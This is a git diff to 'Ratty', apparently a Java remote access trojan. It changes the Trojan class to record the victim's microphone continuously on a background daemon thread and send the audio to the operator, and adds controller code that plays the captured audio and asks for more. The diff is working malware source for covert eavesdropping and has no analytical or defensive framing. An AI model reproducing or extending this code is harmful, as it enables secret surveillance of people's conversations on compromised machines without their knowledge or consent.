diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java
index 53203b8..4c55e3a 100644
--- a/Ratty/src/de/sogomn/rat/Ratty.java
+++ b/Ratty/src/de/sogomn/rat/Ratty.java
@@ -70,7 +70,7 @@ public final class Ratty {
 		try {
 			final int port = Integer.parseInt(input);
 			
-			if (port < 0 || port > 65535) {
+			if (port < 0 || port > 65535) {	//65535 = Max port
 				return -1;
 			}
 			
diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java
index 8c51774..302c50d 100644
--- a/Ratty/src/de/sogomn/rat/Trojan.java
+++ b/Ratty/src/de/sogomn/rat/Trojan.java
@@ -5,28 +5,31 @@ import de.sogomn.rat.packet.VoicePacket;
 
 public final class Trojan implements IClientObserver {
 	
+	private VoiceRecorder voiceRecorder;
+	private byte[] lastData;
+	
 	private static final int MICROPHONE_BUFFER_SIZE = 1024 << 8;
 	
 	public Trojan() {
-		//...
+		voiceRecorder = new VoiceRecorder(MICROPHONE_BUFFER_SIZE);
+		lastData = new byte[0];
+		
+		voiceRecorder.addListener((source, data) -> {
+			lastData = data;
+			source.start();
+		});
+		voiceRecorder.start();
 	}
 	
 	@Override
 	public void packetReceived(final ActiveClient client, final IPacket packet) {
 		if (packet instanceof VoicePacket) {
-			final VoiceRecorder recorder = new VoiceRecorder();
 			final VoicePacket voice = (VoicePacket)packet;
 			
-			recorder.setLimit(MICROPHONE_BUFFER_SIZE);
-			recorder.addListener((source, data) -> {
-				voice.setData(data);
-				
-				packet.execute(client);
-			});
-			recorder.start();
-		} else {
-			packet.execute(client);
+			voice.setData(lastData);
 		}
+		
+		packet.execute(client);
 	}
 	
 	@Override
diff --git a/Ratty/src/de/sogomn/rat/VoiceRecorder.java b/Ratty/src/de/sogomn/rat/VoiceRecorder.java
index df478fa..8c010aa 100644
--- a/Ratty/src/de/sogomn/rat/VoiceRecorder.java
+++ b/Ratty/src/de/sogomn/rat/VoiceRecorder.java
@@ -66,6 +66,7 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
 			
 			line.open();
 			line.start();
+			thread.setDaemon(true);
 			thread.start();
 		} catch (final LineUnavailableException ex) {
 			stop();
diff --git a/Ratty/src/de/sogomn/rat/packet/VoicePacket.java b/Ratty/src/de/sogomn/rat/packet/VoicePacket.java
index 211c385..971abea 100644
--- a/Ratty/src/de/sogomn/rat/packet/VoicePacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/VoicePacket.java
@@ -55,4 +55,14 @@ public final class VoicePacket extends AbstractPingPongPacket {
 		this.data = data;
 	}
 	
+	public byte[] getData() {
+		return data;
+	}
+	
+	public Sound getSound() {
+		final Sound sound = Sound.loadSound(data);
+		
+		return sound;
+	}
+	
 }
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
index b4a4914..3335dd4 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@@ -7,6 +7,8 @@ import java.util.ArrayList;
 import javax.swing.JFileChooser;
 import javax.swing.JOptionPane;
 
+import de.sogomn.engine.fx.ISoundListener;
+import de.sogomn.engine.fx.Sound;
 import de.sogomn.rat.ActiveClient;
 import de.sogomn.rat.IClientObserver;
 import de.sogomn.rat.builder.StubBuilder;
@@ -180,11 +182,22 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 	}
 	
 	private void handle(final ServerClient serverClient, final VoicePacket packet) {
-		final VoicePacket voice = new VoicePacket();
+		final Sound sound = packet.getSound();
 		
-		packet.execute(serverClient.client);
-		
-		serverClient.client.addPacket(voice);
+		sound.addListener(new ISoundListener() {
+			@Override
+			public void looped(final Sound source) {
+				//...
+			}
+			
+			@Override
+			public void stopped(final Sound source) {
+				final VoicePacket voice = new VoicePacket();
+				
+				serverClient.client.addPacket(voice);
+			}
+		});
+		sound.play();
 	}
 	
 	private void handle(final ServerClient serverClient, final FileSystemPacket packet) {
@@ -308,7 +321,6 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 		} else if (command == RattyGui.FREE) {
 			serverClient.setStreamingDesktop(false);
 			serverClient.setStreamingVoice(false);
-			serverClient.setController(null);
 		}
 	}